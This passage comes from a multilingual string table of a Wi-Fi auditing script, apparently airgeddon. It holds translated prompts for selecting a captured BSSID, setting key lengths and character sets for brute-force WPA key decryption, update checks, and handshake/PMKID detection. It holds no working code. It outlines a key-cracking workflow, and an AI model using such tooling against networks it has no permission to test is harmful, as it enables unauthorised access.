arr["ITALIAN",192]="È stato selezionato un BSSID in questa sessione che è giá presente nel file di cattura [\${normal_color}\${bssid}\${blue_color}]" arr["POLISH",192]="Wybrano już BSSID w tej sesji i jest on obecny w pliku przechwytywania [\${normal_color}\${bssid}\${blue_color}]" arr["GERMAN",192]="Sie haben in dieser Sitzung bereits eine BSSID ausgewählt, die in der Erfassungsdatei vorhanden ist [\${normal_color}\${bssid}\${blue_color}]" arr["TURKISH",192]="Bu oturum sırasında zaten bir BSSID seçtiniz ve yakalama dosyasında mevcut [\${normal_color}\${bssid}\${blue_color}]" arr["ARABIC",192]="[\${normal_color}\${bssid}\${blue_color}] وموجود في ملف الالتقاط ،خلال هذه الدورة BSSIDلديك بالفعل اختيار" arr["CHINESE",192]="您已经在此次脚本运行期间已经选择了一个 BSSID,并且存在于捕获文件中 [\${normal_color}\${bssid}\${blue_color}]" arr["ENGLISH",193]="Do you want to use this already selected BSSID? \${normal_color}\${visual_choice}" arr["SPANISH",193]="¿Quieres utilizar este BSSID ya seleccionado? \${normal_color}\${visual_choice}" arr["FRENCH",193]="Souhaitez vous utiliser le BSSID déjà sélectionné? \${normal_color}\${visual_choice}" arr["CATALAN",193]="¿Vols fer servir aquest BSSID ja seleccionat? \${normal_color}\${visual_choice}" arr["PORTUGUESE",193]="Você quer usar este BSSID já selecionado? \${normal_color}\${visual_choice}" arr["RUSSIAN",193]="Вы хотите использовать эту уже выбранную BSSID? \${normal_color}\${visual_choice}" arr["GREEK",193]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο BSSID; \${normal_color}\${visual_choice}" arr["ITALIAN",193]="Vuoi usare questo BSSID già selezionato? \${normal_color}\${visual_choice}" arr["POLISH",193]="Czy chcesz użyć już wybranego BSSID? \${normal_color}\${visual_choice}" arr["GERMAN",193]="Möchten Sie diese ausgewählte BSSID verwenden? \${normal_color}\${visual_choice}" arr["TURKISH",193]="Seçilen BSSID ile devam etmek ister misiniz? \${normal_color}\${visual_choice}" arr["ARABIC",193]="\${normal_color}\${visual_choice} \${green_color}المحدد بالفعل؟ BSSID هل تريد استخدام هذا\${normal_color}" arr["CHINESE",193]="您想使用这个已经选择的 BSSID 吗?\${normal_color}\${visual_choice}" arr["ENGLISH",194]="Enter the minimum length of the key to decrypt (\${minlength_text}-63):" arr["SPANISH",194]="Introduce la longitud mínima de la clave a descifrar (\${minlength_text}-63):" arr["FRENCH",194]="Entrez la longueur minimale de la clef à cracker (\${minlength_text}-63):" arr["CATALAN",194]="Introdueix la longitud mínima de la clau a desxifrar (\${minlength_text}-63):" arr["PORTUGUESE",194]="Digite o comprimento mínimo da senha para descriptografar (\${minlength_text}-63):" arr["RUSSIAN",194]="Введите минимальную длину ключа для расшифровки (\${minlength_text}-63):" arr["GREEK",194]="Εισάγετε το ελάχιστο μήκος κλειδιού για αποκρυπτογράφηση (\${minlength_text}-63):" arr["ITALIAN",194]="Inserire la lunghezza minima della chiave da decifrare (\${minlength_text}-63):" arr["POLISH",194]="Wpisz minimalną długość klucza do odszyfrowania (\${minlength_text}-63):" arr["GERMAN",194]="Geben Sie die Mindestlänge des zu entschlüsselnden Schlüssels ein (\${minlength_text}-63):" arr["TURKISH",194]="Şifreyi çözmek için anahtarın minimum uzunluğunu girin (\${minlength_text}-63):" arr["ARABIC",194]="(\${minlength_text}-63): أدخل طول الحد الأدنى من مفتاح فك" arr["CHINESE",194]="请输入要解密的密钥的最小长度 (\${minlength_text}-63):" arr["ENGLISH",195]="Enter the maximum length of the key to decrypt (\${minlength}-63):" arr["SPANISH",195]="Introduce la longitud máxima de la clave a descifrar (\${minlength}-63):" arr["FRENCH",195]="Entrez la longueur maximale de la clef à cracker (\${minlength}-63):" arr["CATALAN",195]="Introdueix la longitud màxima de la clau a desxifrar (\${minlength}-63):" arr["PORTUGUESE",195]="Digite o comprimento máximo da senha para descriptografar (\${minlength}-63):" arr["RUSSIAN",195]="Введите максимальную длину ключа для расшифровки (\${minlength}-63):" arr["GREEK",195]="Εισάγετε το μέγιστο μήκος κλειδιού για αποκρυπτογράφηση (\${minlength}-63):" arr["ITALIAN",195]="Inserire la lunghezza massima della chiave da decifrare (\${minlength}-63):" arr["POLISH",195]="Wpisz maksymalną długość klucza do odszyfrowania (\${minlength}-63):" arr["GERMAN",195]="Geben Sie die maximale Länge des zu entschlüsselnden Schlüssels ein (\${minlength}-63):" arr["TURKISH",195]="Şifreyi çözmek için anahtarın maximum uzunluğunu girin (\${minlength}-63):" arr["ARABIC",195]="(\${minlength}-63) :أدخل الحد الأقصى لطول مفتاح فك" arr["CHINESE",195]="请输入要解密的密钥的最大长度 (\${minlength}-63):" arr["ENGLISH",196]="Select the character set to use:" arr["SPANISH",196]="Selecciona el juego de caracteres a utilizar:" arr["FRENCH",196]="Sélectionnez le jeu de caractères à utiliser:" arr["CATALAN",196]="Selecciona el joc de caràcters a utilitzar:" arr["PORTUGUESE",196]="Selecione o conjunto de caracteres a ser usado:" arr["RUSSIAN",196]="Выберите набор символов для использования:" arr["GREEK",196]="Επιλέξτε το σετ χαρακτήρων που θα χρησιμοποιηθεί:" arr["ITALIAN",196]="Selezionare il set di caratteri da utilizzare:" arr["POLISH",196]="Wybierz zestaw znaków do użycia:" arr["GERMAN",196]="Wählen Sie den Zeichensatz zu verwenden aus:" arr["TURKISH",196]="Kullanılacak karakter kümesini seçin:" arr["ARABIC",196]=":حدد مجموعة الأحرف المراد استخدامها" arr["CHINESE",196]="请选择要使用的字符集:" arr["ENGLISH",197]="1. Lowercase chars" arr["SPANISH",197]="1. Caracteres en minúsculas" arr["FRENCH",197]="1. Lettres minuscules" arr["CATALAN",197]="1. Caràcters en minúscules" arr["PORTUGUESE",197]="1. Caracteres minúsculos" arr["RUSSIAN",197]="1. Символы нижнего регистра" arr["GREEK",197]="1. Πεζά" arr["ITALIAN",197]="1. Caratteri minuscoli" arr["POLISH",197]="1. Małe litery" arr["GERMAN",197]="1. Zeichen in Kleinbuchstaben" arr["TURKISH",197]="1. Küçük harfli karakterler" arr["ARABIC",197]="1. أحرف صغيرة" arr["CHINESE",197]="1. 小写字符" arr["ENGLISH",198]="2. Uppercase chars" arr["SPANISH",198]="2. Caracteres en mayúsculas" arr["FRENCH",198]="2. Lettres majuscules" arr["CATALAN",198]="2. Caràcters en majúscules" arr["PORTUGUESE",198]="2. Caracteres maiúsculos" arr["RUSSIAN",198]="2. Символы верхнего регистра" arr["GREEK",198]="2. Κεφαλαία" arr["ITALIAN",198]="2. Caratteri maiuscoli" arr["POLISH",198]="2. Wielkie litery" arr["GERMAN",198]="2. Zeichen in Großbuchstaben" arr["TURKISH",198]="2. Büyük harfli karakterler" arr["ARABIC",198]="2. أحرف كبيرة" arr["CHINESE",198]="2. 大写字符" arr["ENGLISH",199]="3. Numeric chars" arr["SPANISH",199]="3. Caracteres numéricos" arr["FRENCH",199]="3. Chiffres" arr["CATALAN",199]="3. Caràcters numèrics" arr["PORTUGUESE",199]="3. Caracteres numéricos" arr["RUSSIAN",199]="3. Цифры" arr["GREEK",199]="3. Αριθμοί" arr["ITALIAN",199]="3. Caratteri numerici" arr["POLISH",199]="3. Cyfry" arr["GERMAN",199]="3. Numerische Zeichen" arr["TURKISH",199]="3. Numerik karakterler" arr["ARABIC",199]="3. أرقام" arr["CHINESE",199]="3. 数字字符" arr["ENGLISH",200]="4. Symbol chars" arr["SPANISH",200]="4. Caracteres símbolos" arr["FRENCH",200]="4. Symboles" arr["CATALAN",200]="4. Caràcters símbols" arr["PORTUGUESE",200]="4. Símbolos" arr["RUSSIAN",200]="4. Символы" arr["GREEK",200]="4. Σύμβολα" arr["ITALIAN",200]="4. Simboli" arr["POLISH",200]="4. Symbole" arr["GERMAN",200]="4. Zeichensymbole" arr["TURKISH",200]="4. Sembol karakterler" arr["ARABIC",200]="4. رموز" arr["CHINESE",200]="4. 符号字符" arr["ENGLISH",201]="5. Lowercase + uppercase chars" arr["SPANISH",201]="5. Caracteres en minúsculas + mayúsculas" arr["FRENCH",201]="5. Lettres minuscules + majuscules" arr["CATALAN",201]="5. Caràcters en minúscules + majúscules" arr["PORTUGUESE",201]="5. Caracteres minúsculos + maiúsculos" arr["RUSSIAN",201]="5. Буквы верхнего + нижнего регистра" arr["GREEK",201]="5. Πεζά + κεφαλαία" arr["ITALIAN",201]="5. Caratteri minuscoli + maiuscoli" arr["POLISH",201]="5. Małe + wielkie litery" arr["GERMAN",201]="5. Zeichen in Klein- und Großbuchstaben" arr["TURKISH",201]="5. Küçük + büyük harfli karakterler" arr["ARABIC",201]="5. أحرف صغيرة + كبيرة" arr["CHINESE",201]="5. 小写+大写字符" arr["ENGLISH",202]="6. Lowercase + numeric chars" arr["SPANISH",202]="6. Caracteres en minúsculas + numéricos" arr["FRENCH",202]="6. Lettres minuscules + chiffres" arr["CATALAN",202]="6. Caràcters en minúscules + numèrics" arr["PORTUGUESE",202]="6. Caracteres minúsculos + números" arr["RUSSIAN",202]="6. Буквы нижнего регистра + цифры" arr["GREEK",202]="6. Πεζά + αριθμοί" arr["ITALIAN",202]="6. Caratteri minuscoli + numerici" arr["POLISH",202]="6. Małe litery + cyfry" arr["GERMAN",202]="6. Zeichen in Kleinbuchstaben + numerisch" arr["TURKISH",202]="6. Küçük harf + numerik karakterler" arr["ARABIC",202]="6. أحرف صغيرة + أرقام" arr["CHINESE",202]="6. 小写+数字字符" arr["ENGLISH",203]="7. Uppercase + numeric chars" arr["SPANISH",203]="7. Caracteres en mayúsculas + numéricos" arr["FRENCH",203]="7. Lettres majuscules + chiffres" arr["CATALAN",203]="7. Caràcters en majúscules + numèrics" arr["PORTUGUESE",203]="7. Caracteres maiúsculos + números" arr["RUSSIAN",203]="7. Буквы верхнего регистра + цифры" arr["GREEK",203]="7. Κεφαλαία + αριθμοί" arr["ITALIAN",203]="7. Caratteri numerici + maiuscoli" arr["POLISH",203]="7. Wielkie litery + cyfry" arr["GERMAN",203]="7. Zeichen in Großbuchstaben + Zahlen" arr["TURKISH",203]="7. Büyük harf + numerik karakterler" arr["ARABIC",203]="7. أحرف كبيرة + أرقام" arr["CHINESE",203]="7. 大写+数字字符" arr["ENGLISH",204]="8. Symbol + numeric chars" arr["SPANISH",204]="8. Caracteres símbolos + numéricos" arr["FRENCH",204]="8. Symboles + chiffres" arr["CATALAN",204]="8. Caràcters símbols + numèrics" arr["PORTUGUESE",204]="8. Símbolos + números" arr["RUSSIAN",204]="8. Символы + цифры" arr["GREEK",204]="8. Σύμβολα + αριθμοί" arr["ITALIAN",204]="8. simboli + numeri" arr["POLISH",204]="8. Cyfry + symbole" arr["GERMAN",204]="8. Symbole + Ziffern" arr["TURKISH",204]="8. Sembol + numerik karakterler" arr["ARABIC",204]="8. رموز+ أرقام" arr["CHINESE",204]="8. 符号+数字字符" arr["ENGLISH",205]="9. Lowercase + uppercase + numeric chars" arr["SPANISH",205]="9. Caracteres en minúsculas + mayúsculas + numéricos" arr["FRENCH",205]="9. Lettres minuscules et majuscules + chiffres" arr["CATALAN",205]="9. Caràcters en minúscules + majúscules + numèrics" arr["PORTUGUESE",205]="9. Caracteres minúsculos + maiúsculos + números" arr["RUSSIAN",205]="9. Буквы нижнего регистра + верхнего регистра + цифры" arr["GREEK",205]="9. Πεζά + κεφαλαία + αριθμοί" arr["ITALIAN",205]="9. Caratteri minuscoli + maiuscoli + numeri" arr["POLISH",205]="9. Małe litery + wielkie litery + cyfry" arr["GERMAN",205]="9. Zeichen in Kleinbuchstaben + Großbuchstaben + Ziffern" arr["TURKISH",205]="9. Küçük + büyük harf + numerik karakterler" arr["ARABIC",205]="9. أحرف صغيرة + أحرف كبيرة + أرقام" arr["CHINESE",205]="9. 小写+大写+数字字符" arr["ENGLISH",206]="10. Lowercase + uppercase + symbol chars" arr["SPANISH",206]="10. Caracteres en minúsculas + mayúsculas + símbolos" arr["FRENCH",206]="10. Lettres minuscules et majuscules + symboles" arr["CATALAN",206]="10. Caràcters en minúscules + majúscules + símbols" arr["PORTUGUESE",206]="10. Caracteres minúsculos + maiúsculos + símbolos" arr["RUSSIAN",206]="10. Буквы нижнего регистра + верхнего регистра + символы" arr["GREEK",206]="10. Πεζά + κεφαλαία + σύμβολα" arr["ITALIAN",206]="10. Caratteri minuscoli + maiuscoli + simboli" arr["POLISH",206]="10. Małe litery + wielkie + symbole" arr["GERMAN",206]="10. Zeichen in Kleinbuchstaben + Großbuchstaben + Symbole" arr["TURKISH",206]="10. Küçük + büyük harf + sembol karakterler" arr["ARABIC",206]="10. أأحرف صغيرة + أحرف كبيرة + رموز" arr["CHINESE",206]="10. 小写+大写+符号字符" arr["ENGLISH",207]="11. Lowercase + uppercase + numeric + symbol chars" arr["SPANISH",207]="11. Caracteres en minúsculas + mayúsculas + numéricos + símbolos" arr["FRENCH",207]="11. Lettres minuscules et majuscules + chiffres + symboles" arr["CATALAN",207]="11. Caràcters en minúscules + majúscules + numèrics + símbols" arr["PORTUGUESE",207]="11. Caracteres minúsculos + maiúsculos + números + símbolos" arr["RUSSIAN",207]="11. Буквы нижнего регистра + верхнего регистра + цифры + символы" arr["GREEK",207]="11. Πεζά + κεφαλαία + αριθμοί + σύμβολα" arr["ITALIAN",207]="11. Caratteri minuscoli + maiuscoli + numeri + simboli" arr["POLISH",207]="11. Małe litery + wielkie litery + cyfry + symbole" arr["GERMAN",207]="11. Zeichen in Kleinbuchstaben + Großbuchstaben + Ziffern + Symbole" arr["TURKISH",207]="11. Küçük + büyük harf + numerik + sembol karakterler" arr["ARABIC",207]="11. أحرف صغيرة + أحرف كبيرة + أرقام + رموز" arr["CHINESE",207]="11. 小写+大写+数字+符号字符" arr["ENGLISH",208]="If you choose a big charset and a long key length, the process could take so much time" arr["SPANISH",208]="Si eliges un juego de caracteres amplio y una longitud de clave grande, el proceso podría demorarse mucho tiempo" arr["FRENCH",208]="Si vous choisissez un jeu de caractères ample et une longitude de clef importante, le processus pourrait prendre beaucoup de temps" arr["CATALAN",208]="Si tries un joc de caràcters ampli i una longitud de clau gran, el procés podria demorar-se molt temps" arr["PORTUGUESE",208]="Se você escolher um grande conjunto de caracteres e um grande comprimento da senha, o processo pode levar um longo tempo" arr["RUSSIAN",208]="Если вы выберете большой набор символов и большую длинну ключа, процесс может занять очень много времени" arr["GREEK",208]="Αν επιλέξετε μεγάλη συμβολοσειρά και μεγάλο μήκος κλειδιού, η διεργασία θα διαρκέσει αρκετά" arr["ITALIAN",208]="Se si sceglie un set di caratteri grande e una grande lunghezza della chiave, il processo potrebbe richiedere molto tempo" arr["POLISH",208]="Jeśli wybierzesz duży zestaw znaków i dużą długość klucza, proces może potrwać bardzo długo" arr["GERMAN",208]="Wenn Sie einen breiten Zeichensatz und eine große Schlüssellänge auswählen, kann der Vorgang sehr lange dauern" arr["TURKISH",208]="Büyük bir karakter kümesi ve uzun bir anahtar uzunluğu seçerseniz, süreç çok zaman alabilir" arr["ARABIC",208]="إذا اخترت مجموعة أحرف كبيرة وطول مفتاح طويل ، فقد تستغرق العملية الكثير من الوقت" arr["CHINESE",208]="如果你选择一个较大的字符集和一个较长的密钥长度,那么这个破解过程可能会花费很多时间" arr["ENGLISH",209]="The charset to use is: [\${normal_color}\${showcharset}\${blue_color}]" arr["SPANISH",209]="El juego de caracteres elegido es: [\${normal_color}\${showcharset}\${blue_color}]" arr["FRENCH",209]="Le jeu de caractères définit est: [\${normal_color}\${showcharset}\${blue_color}]" arr["CATALAN",209]="El joc de caràcters escollit és: [\${normal_color}\${showcharset}\${blue_color}]" arr["PORTUGUESE",209]="Conjunto de caracteres escolhido: [\${normal_color}\${showcharset}\${blue_color}]" arr["RUSSIAN",209]="Символы для использования: [\${normal_color}\${showcharset}\${blue_color}]" arr["GREEK",209]="Η συμβολοσειρά που θα χρησιμοποιηθεί είναι: [\${normal_color}\${showcharset}\${blue_color}]" arr["ITALIAN",209]="Il set di caratteri scelto è: [\${normal_color}\${showcharset}\${blue_color}]" arr["POLISH",209]="Wybrany zestaw znaków to: [\${normal_color}\${showcharset}\${blue_color}]" arr["GERMAN",209]="Der gewählte Zeichensatz ist: [\${normal_color}\${showcharset}\${blue_color}]" arr["TURKISH",209]="Kullanılacak karakter kümesi: [\${normal_color}\${showcharset}\${blue_color}]" arr["ARABIC",209]="[\${normal_color}\${showcharset}\${blue_color}] :مجموعة الأحرف المراد استخدامها هي" arr["CHINESE",209]="要使用的字符集是: [\${normal_color}\${showcharset}\${blue_color}]" arr["ENGLISH",210]="The script will check for internet access looking for a newer version. Please be patient..." arr["SPANISH",210]="El script va a comprobar si tienes acceso a internet para ver si existe una nueva versión. Por favor ten paciencia..." arr["FRENCH",210]="Le script va vérifier que vous aillez accès à internet pour voir si une nouvelle version du script est disponible. Soyez patients s'il vous plaît..." arr["CATALAN",210]="El script va a comprovar si tens accés a internet per veure si hi ha una nova versió. Si us plau té paciència..." arr["PORTUGUESE",210]="O script irá verificar se você tem acesso à internet para ver se há uma nova versão. Por favor, seja paciente..." arr["RUSSIAN",210]="Скрипт проверит доступ в Интернет для поиска новой версии. Подождите немного..." arr["GREEK",210]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο και έπειτα για νεότερη έκδοση. Παρακαλώ κάντε υπομονή..." arr["ITALIAN",210]="Lo script controllerà se si ha accesso a internet per vedere se c'è una nuova versione. Si prega di essere pazienti..." arr["POLISH",210]="Skrypt sprawdzi, czy masz dostęp do internetu i czy jest nowa wersja. Cierpliwości..." arr["GERMAN",210]="Das Skript überprüft, ob Sie Zugriff auf das Internet haben, um zu sehen, ob eine neue Version existiert. Wir bitten um Geduld..." arr["TURKISH",210]="Yazılım, daha yeni bir sürümü arayan internet erişimini kontrol edecektir. Lütfen sabırlı olun..." arr["ARABIC",210]="...سيتحقق البرنامج من الوصول إلى الإنترنت بحثًا عن إصدار أحدث. يرجى التحلي بالصبر" arr["CHINESE",210]="脚本将访问互联网以检查是否有新版本。请耐心等待..." arr["ENGLISH",211]="It seems you have no internet access. The script can't connect to repository. It will continue without updating..." arr["SPANISH",211]="Parece que no tienes conexión a internet. El script no puede conectar al repositorio. Continuará sin actualizarse..." arr["FRENCH",211]="Il semble que vous ne pouvez pas vous connecter à internet. Impossible dans ces conditions de pouvoir accéder aux dépôts. Le script va donc s’exécuter sans s'actualiser..." arr["CATALAN",211]="Sembla que no tens connexió a internet. El script no pot connectar al repositori. Continuarà sense actualitzar-se..." arr["PORTUGUESE",211]="Parece que você não tem acesso à internet. O script não pode conectar-se ao repositório. Ele continuará sem atualizar..." arr["RUSSIAN",211]="Кажется, у вас нет доступа в Интернет. Скрипт не может подключится к репозиторию. Он продолжит без обновления..." arr["GREEK",211]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο. Το script δεν μπορεί να συνδεθεί στο αποθετήριο. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["ITALIAN",211]="Sembra che tu non abbia alcuna connessione a internet. Lo script non riesce a connettersi al repository. Continuerà senza aggiornarsi..." arr["POLISH",211]="Wygląda na to, że nie masz połączenia z internetem. Skrypt nie może połączyć się z repozytorium. Kontynuacja bez aktualizacji..." arr["GERMAN",211]="Es scheint, dass Sie keine Internetverbindung haben. Das Skript kann keine Verbindung zum Repository herstellen. Es wird ohne Aktualisierung fortgesetzt..." arr["TURKISH",211]="İnternet bağlantınız yok. Yazılım depoya bağlanamadı. Güncelleme olmadan devam edilecek..." arr["ARABIC",211]="...يبدو أنه ليس لديك اتصال بالإنترنت. البرنامج لا يمكنه الاتصال بالمستودع. سيستمر دون تحديث" arr["CHINESE",211]="该脚本似乎无法连接到 GitHub,这可能与您的网络环境有关。您可以自行访问 GitHub 上 airgeddon 的代码仓库并手动检查更新..." arr["ENGLISH",212]="The script is already in the latest version. It doesn't need to be updated" arr["SPANISH",212]="El script ya está en la última versión. No necesita ser actualizado" arr["FRENCH",212]="La dernière version du script est déjà installée. Pas de mise à jour possible" arr["CATALAN",212]="El script ja està en l'última versió. No necessita ser actualitzat" arr["PORTUGUESE",212]="O script já está na versão mais recente. Ele não necessita ser atualizado" arr["RUSSIAN",212]="Скрипт уже последней версии, обновление не требуется" arr["GREEK",212]="Το script είναι ήδη στην τελευταία έκδοση. Δεν χρειάζεται να ενημερωθεί" arr["ITALIAN",212]="Lo script è già alla sua ultima versione. Non c'è bisogno di aggiornamenti" arr["POLISH",212]="Skrypt jest już w najnowszej wersji. Nie ma potrzeby aktualizacji" arr["GERMAN",212]="Das Skript ist bereits in der neuesten Version. Es muss nicht aktualisiert werden" arr["TURKISH",212]="Yazılım zaten en son sürüm. Güncellemeye gerek yok" arr["ARABIC",212]="البرنامج موجود بالفعل في أحدث إصدار. لا يحتاج إلى التحديث" arr["CHINESE",212]="该脚本已经是最新版本。无需更新" arr["ENGLISH",213]="A new version of the script exists (v\${airgeddon_last_version}). It will be downloaded" arr["SPANISH",213]="Existe una nueva versión del script (v\${airgeddon_last_version}). Será descargada" arr["FRENCH",213]="Une nouvelle version du script est disponible (v\${airgeddon_last_version}). Lancement du téléchargement" arr["CATALAN",213]="Hi ha una nova versió dels script (v\${airgeddon_last_version}). Serà descarregada" arr["PORTUGUESE",213]="Existe uma nova versão do script (v\${airgeddon_last_version}). Download será iniciado" arr["RUSSIAN",213]="Существует новая версия скрипта (v\${airgeddon_last_version}). Она будет загружена" arr["GREEK",213]="Υπάρχει νεότερη έκδοση του script (v\${airgeddon_last_version}). Θα κατέβει" arr["ITALIAN",213]="Esiste una nuova versione dello script (v\${airgeddon_last_version}). Sarà scaricata" arr["POLISH",213]="Jest nowa wersja skryptu (v\${airgeddon_last_version}). Zostanie ona pobrana" arr["GERMAN",213]="Es gibt eine neue Version des Skripts (v\${airgeddon_last_version}). Sie wird automatisch heruntergeladet" arr["TURKISH",213]="Yazılımın yeni bir sürümü mevcut (v\${airgeddon_last_version}). İndirilecek" arr["ARABIC",213]="سيتم تنزيله .(v\${airgeddon_last_version}) يوجد إصدار جديد من البرنامج" arr["CHINESE",213]="存在新版本的脚本 (v\${airgeddon_last_version})。它将被下载" arr["ENGLISH",214]="The new version was successfully downloaded. The script will be launched again" arr["SPANISH",214]="La nueva versión se ha descargado con éxito. El script se lanzará de nuevo" arr["FRENCH",214]="Le téléchargement de la dernière version du script a réussit. Le script a été lancé à nouveau" arr["CATALAN",214]="La nova versió s'ha descarregat amb èxit. El script es llençarà de nou" arr["PORTUGUESE",214]="A nova versão foi baixado com sucesso. O script será carregado novamente" arr["RUSSIAN",214]="Новая версия успешно загружена. Скрипт будет перезапущен" arr["GREEK",214]="Η νεότερη έκδοση κατέβηκε επιτυχώς. Το script θα επανεκκινηθεί" arr["ITALIAN",214]="La nuova versione è stata scaricata con successo. Lo script sarà lanciato di nuovo" arr["POLISH",214]="Nowa wersja została pobrana pomyślnie. Skrypt zostanie uruchomiony ponownie" arr["GERMAN",214]="Die neue Version wurde erfolgreich heruntergeladen. Das Skript wird erneut gestartet" arr["TURKISH",214]="Yeni sürüm başarıyla indirildi. Yazılım yeniden başlatılacak" arr["ARABIC",214]="تم تنزيل الإصدار الجديد بنجاح. سيتم إطلاق البرنامج مرة أخرى" arr["CHINESE",214]="新版本已成功下载。脚本将再次启动" arr["ENGLISH",215]="Chosen action can be carried out only over WPA/WPA2 networks, however WPA3 has been included in the scan filter because these networks sometimes work in \"Mixed mode\" offering WPA2/WPA3 and in that case they are displayed in the scan window as WPA3. So WPA3 networks will appear but then airgeddon will analyze them after scan to allow you select only those that also offering WPA2" arr["SPANISH",215]="La acción que has elegido realizar solo se puede llevar a cabo sobre redes WPA/WPA2, no obstante en el filtro de escaneo se ha incluido WPA3 ya que estas redes a veces funcionan en \"Mixed mode\" ofreciendo WPA2/WPA3 y cuando es el caso son mostradas en la ventana de escaneo como WPA3. Es decir, que aparecerán redes WPA3 pero luego airgeddon las analizará tras el escaneo para dejarte seleccionar solo aquellas que ofrezcan también WPA2" arr["FRENCH",215]="L'action que vous avez choisi ne peut pas être effectuée sur réseaux WPA/WPA2. Cependant WPA3 a été inclus dans le filtre d'analyse parce que ces réseaux fonctionnent parfois en \"Mixed mode\" offrant WPA2/WPA3. Quand c'est le cas, ils sont affichés dans la fenêtre de numérisation en tant que WPA3. C'est-à-dire, les réseaux WPA3 apparaîtront et airgeddon les analysera ensuite après l'analyse pour vous permettre de sélectionner uniquement ceux qui offrent également WPA2" arr["CATALAN",215]="L'acció que has triat realitzar només es pot dur a terme sobre xarxes WPA/WPA2, no obstant això al filtre d'escaneig s'ha inclòs WPA3 ja que aquestes xarxes de vegades funcionen a \"Mixed mode\" oferint WPA2/WPA3 i quan és el cas són mostrades a la finestra d'escaneig com WPA3. És a dir, que apareixeran xarxes WPA3 però després airgeddon les analitzarà després de l'escaneig per deixar-te seleccionar només aquelles que ofereixin també WPA2" arr["PORTUGUESE",215]="A ação que você escolheu só pode ser realizada em redes WPA/WPA2, no entanto, o WPA3 foi adicionado ao filtro, pois essas redes podem operar em \"Mixed mode\" oferecendo WPA2/WPA3, quando esse for o caso elas são exibidos na janela de busca como WPA3. Embora as redes WPA3 apareçam o airgeddon as analisará após a busca para permitir que você selecione apenas aquelas que também oferecem WPA2" arr["RUSSIAN",215]="Выбранное действие может быть исполнено только в WPA/WPA2 сетях, однако WPA3 был включен в фильтр сканирования, поскольку эти сети иногда работают в \"Mixed mode\", предлагая WPA2/WPA3, при этом, отображаясь в окне сканирования как WPA3. То есть сети WPA3 появятся, но после сканирования airgeddon проанализирует их, чтобы позволить вам выбрать только те, которые также предлагают WPA2" arr["GREEK",215]="Η ενέργεια που επιλέξατε μπορεί να εκτελεστεί μόνο σε δίκτυα WPA/WPA2, ωστόσο το WPA3 έχει συμπεριληφθεί στο φίλτρο σάρωσης, καθώς αυτά τα δίκτυα μερικές φορές λειτουργούν σε \"Mixed mode\" προσφέροντας WPA2/WPA3 και σε αυτήν την περίπτωση εμφανίζονται στο παράθυρο σάρωσης ως WPA3. Επομένως θα εμφανιστούν δίκτυα WPA3, αλλά στη συνέχεια το airgeddon θα τα αναλύσει μετά τη σάρωση για να σας επιτρέψει να επιλέξετε μόνο εκείνα που προσφέρουν επίσης WPA2" arr["ITALIAN",215]="L'azione che hai scelto di eseguire può essere eseguita solo su reti WPA/WPA2, tuttavia WPA3 è stato incluso nel filtro di scansione poiché queste reti a volte funzionano in \"Mixed mode\" offrendo WPA2/WPA3 e quando è il caso vengono visualizzate nella finestra di scansione come WPA3. Cioè, appariranno le reti WPA3 ma poi airgeddon le analizzerà dopo la scansione per farti selezionare solo quelle che offrono anche WPA2" arr["POLISH",215]="Wybrana czynność może być wykonana tylko w sieciach WPA/WPA2 ale szyfrowanie WPA3 również zostało uwzględnione w filtrze skanowania. Jest to spowodowane tym, że sieci te czasami działają w \"Mixed mode\" oferując tryb WPA2/WPA3, który jest wyświetlany w oknie skanowania jako WPA3. Czyli przy skanowaniu pojawią się sieci WPA3, ale airgeddon przeanalizuje je potem, aby wybrać tylko te, które oferują również WPA2" arr["GERMAN",215]="Die Aktion, die Sie ausführen möchten, kann nur über WPA/WPA2-Netzwerke ausgeführt werden, jedoch wurde WPA3 in den Suchfilter aufgenommen, da diese Netzwerke manchmal im \"Mixed mode\" arbeiten und WPA2/WPA3 anbieten, und wenn dies der Fall ist, werden im Scan-Fenster als WPA3 angezeigt. Das heißt, WPA3-Netzwerke werden angezeigt, aber airgeddon analysiert sie nach dem Scan, damit Sie nur diejenigen auswählen können, die auch WPA2 anbieten" arr["TURKISH",215]="Gerçekleştirmeyi seçtiğiniz eylem yalnızca WPA/WPA2 ağları üzerinden gerçekleştirilebilir, ancak bu ağlar bazen WPA2/WPA3 sunan \"Mixed mode\" da çalıştığı ve durum ne zaman görüntülendiği için WPA3 tarama filtresine dahil edilmiştir. WPA3 olarak tarama penceresinde. Yani, WPA3 ağları görünecek, ancak daha sonra airgeddon, yalnızca WPA2 sunanları seçmenize izin vermek için taramadan sonra bunları analiz edecektir" arr["ARABIC",215]="WPA2 بتحليل هذه الشباكات ليسمح لك باختيار الشباكات التي تقدم airgeddon و فى هذه الحالة سيتم عرضه علي نافذة المسح . سيقوم WPA2/WPA3 بحالة \"Mixed mode\" حيث ان بعض هذه الشباكات تعمل في WPA3 ولكن تم الفحص عن ,WPA/WPA2 لا يمكن تنفيذ الإجراء الذي اخترت تنفيذه إلا عبر شبكات" arr["CHINESE",215]="所选操作只能在 WPA/WPA2 网络上执行,但 WPA3 已包含在扫描过滤器中,因为这些网络有时会以“混合模式”工作,同时提供 WPA2/WPA3 两种加密方式,这种情况下,它们在扫描窗口中显示为 WPA3。因此虽然有 WPA3 的网络出现,但 airgeddon 将在扫描后对其进行分析,过滤出那些也同时提供 WPA2 的网络" arr["ENGLISH",216]="Neither Handshake/s nor PMKID/s detected in capture file" arr["SPANISH",216]="No se han detectado ni Handshake/s ni PMKID/s en el fichero de captura" arr["FRENCH",216]="Ni Handshake/s ni PMKID/s ont détecté/s dans le fichier de capture" arr["CATALAN",216]="No s'han detectat ni Handshake/s ni PMKID/s en el fitxer de captura" arr["PORTUGUESE",216]="Não foram detectados Handshake(s) nem PMKID(s) no arquivo de captura" arr["RUSSIAN",216]="Handshake или PMKID не обнаружены в файле захвата" arr["GREEK",216]="Δεν εντοπίστηκαν ούτε Handshake/s ούτε PMKID/s στο αρχείο capture" arr["ITALIAN",216]="Non sono stati rilevati né Handshake/s né PMKID/s nel file di cattura" arr["POLISH",216]="Nie wykryto ani Handshake/s ani PMKID/s w pliku przechwytywania" arr["GERMAN",216]="Weder Handshake/s noch PMKID/s im Capture-Datei erkannt" arr["TURKISH",216]="Capture dosyasında ne Handshake/s ne de PMKID/s tespit edildi" arr["ARABIC",216]="Handshake/s ولا PMKID/s لم يتم اكتشاف في 